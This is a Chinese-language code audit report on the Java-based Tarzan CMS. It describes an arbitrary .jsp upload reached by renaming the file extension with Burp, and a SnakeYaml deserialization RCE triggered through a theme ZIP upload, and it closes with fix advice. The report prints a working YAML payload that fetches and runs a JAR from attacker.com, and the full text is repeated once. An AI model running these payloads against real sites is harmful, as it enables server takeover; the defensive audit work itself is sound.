Java代码审计-泰山CMS(tarzancms)审计
字数 1435 2025-08-22 12:23:19

泰山CMS(tarzancms)代码审计报告

前言

泰山CMS(tarzancms)是一款基于Java开发的内容管理系统。本报告详细分析了该系统中存在的安全漏洞,包括任意文件上传漏洞和远程代码执行(RCE)漏洞,并提供了复现方法和修复建议。

环境搭建

所需环境

  • IDEA 2024.4
  • JDK 1.8
  • MySQL 8

搭建步骤

  1. 从Gitee获取源码:https://gitee.com/taisan/tarzan-cms
  2. 新建MySQL数据库并导入SQL文件:
    • 先导入schema-mysql.sql
    • 再导入data.sql
  3. IDEA设置:
    • 设置项目SDK为JDK8
    • 配置JDBC连接
  4. 启动CmsApplication

漏洞分析

1. 任意文件上传漏洞

漏洞位置

后台文件上传功能

漏洞分析

  1. 上传路由处理代码直接从@RequestParam获取数据,交给ossService.upload处理
  2. upload方法仅判断文件是否为空,未对文件类型和内容进行验证
  3. 默认使用本地上传模式(CoreConst.UPLOAD_TYPE_LOCAL)
  4. FileUploadUtil.uploadLocal方法未做任何安全过滤,导致任意文件上传

复现步骤

  1. 前端上传.jsp文件会被拦截
  2. 将文件名改为.png绕过前端检查
  3. 使用Burp Suite拦截请求,将文件名改回.jsp
  4. 上传成功后可访问上传的恶意文件

2. 远程代码执行(RCE)漏洞

漏洞位置

主题管理功能

漏洞分析

  1. 主题上传功能直接将上传的文件传入themeService.upload(file)
  2. 上传的ZIP文件被解压后,其中的YAML文件被SnakeYaml解析
  3. SnakeYaml存在反序列化漏洞,全版本受影响
  4. 攻击者可构造恶意YAML文件实现远程代码执行

漏洞利用原理

  1. 创建包含恶意代码的theme.yaml文件
  2. YAML解析器处理时会:
    • 创建URL对象指向攻击者的JAR文件
    • 创建URLClassLoader加载远程JAR
    • 创建ScriptEngineManager执行恶意代码

复现步骤

  1. 创建恶意YAML文件theme.yaml
    !!javax.script.ScriptEngineManager [
      !!java.net.URLClassLoader [[
        !!java.net.URL ["http://attacker.com/xzsq.jar"]
      ]]
    ]
    
  2. 将YAML文件打包为theme.zip
  3. 上传ZIP文件触发漏洞
  4. 攻击者服务器收到请求,恶意代码被执行

有效Payload示例

可使用https://github.com/artsploit/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java中的Payload

其他潜在问题

  1. 任意文件删除:系统多处未对filename进行过滤,可能导致任意文件删除
  2. SQL注入:部分代码可能存在SQL注入风险

修复建议

  1. 文件上传功能:

    • 实施严格的文件类型检查
    • 限制上传文件扩展名
    • 对上传内容进行安全扫描
    • 将上传文件存储在非web可访问目录
  2. RCE漏洞:

    • 升级SnakeYaml到安全版本
    • 禁用YAML的类加载功能
    • 对上传的主题文件进行严格验证
    • 使用白名单机制限制可解析的内容
  3. 通用安全措施:

    • 实施输入验证和过滤
    • 使用参数化查询防止SQL注入
    • 实施最小权限原则

总结

泰山CMS存在严重的安全漏洞,攻击者可利用这些漏洞实现任意文件上传和远程代码执行。开发人员应重视代码审计和安全开发实践,及时修复这些漏洞。安全研究人员可通过此案例学习Java代码审计的方法和技巧。

泰山CMS(tarzancms)代码审计报告 前言 泰山CMS(tarzancms)是一款基于Java开发的内容管理系统。本报告详细分析了该系统中存在的安全漏洞,包括任意文件上传漏洞和远程代码执行(RCE)漏洞,并提供了复现方法和修复建议。 环境搭建 所需环境 IDEA 2024.4 JDK 1.8 MySQL 8 搭建步骤 从Gitee获取源码: https://gitee.com/taisan/tarzan-cms 新建MySQL数据库并导入SQL文件: 先导入 schema-mysql.sql 再导入 data.sql IDEA设置: 设置项目SDK为JDK8 配置JDBC连接 启动 CmsApplication 漏洞分析 1. 任意文件上传漏洞 漏洞位置 后台文件上传功能 漏洞分析 上传路由处理代码直接从 @RequestParam 获取数据,交给 ossService.upload 处理 upload 方法仅判断文件是否为空,未对文件类型和内容进行验证 默认使用本地上传模式( CoreConst.UPLOAD_TYPE_LOCAL ) FileUploadUtil.uploadLocal 方法未做任何安全过滤,导致任意文件上传 复现步骤 前端上传.jsp文件会被拦截 将文件名改为.png绕过前端检查 使用Burp Suite拦截请求,将文件名改回.jsp 上传成功后可访问上传的恶意文件 2. 远程代码执行(RCE)漏洞 漏洞位置 主题管理功能 漏洞分析 主题上传功能直接将上传的文件传入 themeService.upload(file) 上传的ZIP文件被解压后,其中的YAML文件被SnakeYaml解析 SnakeYaml存在反序列化漏洞,全版本受影响 攻击者可构造恶意YAML文件实现远程代码执行 漏洞利用原理 创建包含恶意代码的 theme.yaml 文件 YAML解析器处理时会: 创建URL对象指向攻击者的JAR文件 创建URLClassLoader加载远程JAR 创建ScriptEngineManager执行恶意代码 复现步骤 创建恶意YAML文件 theme.yaml : 将YAML文件打包为 theme.zip 上传ZIP文件触发漏洞 攻击者服务器收到请求,恶意代码被执行 有效Payload示例 可使用 https://github.com/artsploit/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java 中的Payload 其他潜在问题 任意文件删除 :系统多处未对filename进行过滤,可能导致任意文件删除 SQL注入 :部分代码可能存在SQL注入风险 修复建议 文件上传功能: 实施严格的文件类型检查 限制上传文件扩展名 对上传内容进行安全扫描 将上传文件存储在非web可访问目录 RCE漏洞: 升级SnakeYaml到安全版本 禁用YAML的类加载功能 对上传的主题文件进行严格验证 使用白名单机制限制可解析的内容 通用安全措施: 实施输入验证和过滤 使用参数化查询防止SQL注入 实施最小权限原则 总结 泰山CMS存在严重的安全漏洞,攻击者可利用这些漏洞实现任意文件上传和远程代码执行。开发人员应重视代码审计和安全开发实践,及时修复这些漏洞。安全研究人员可通过此案例学习Java代码审计的方法和技巧。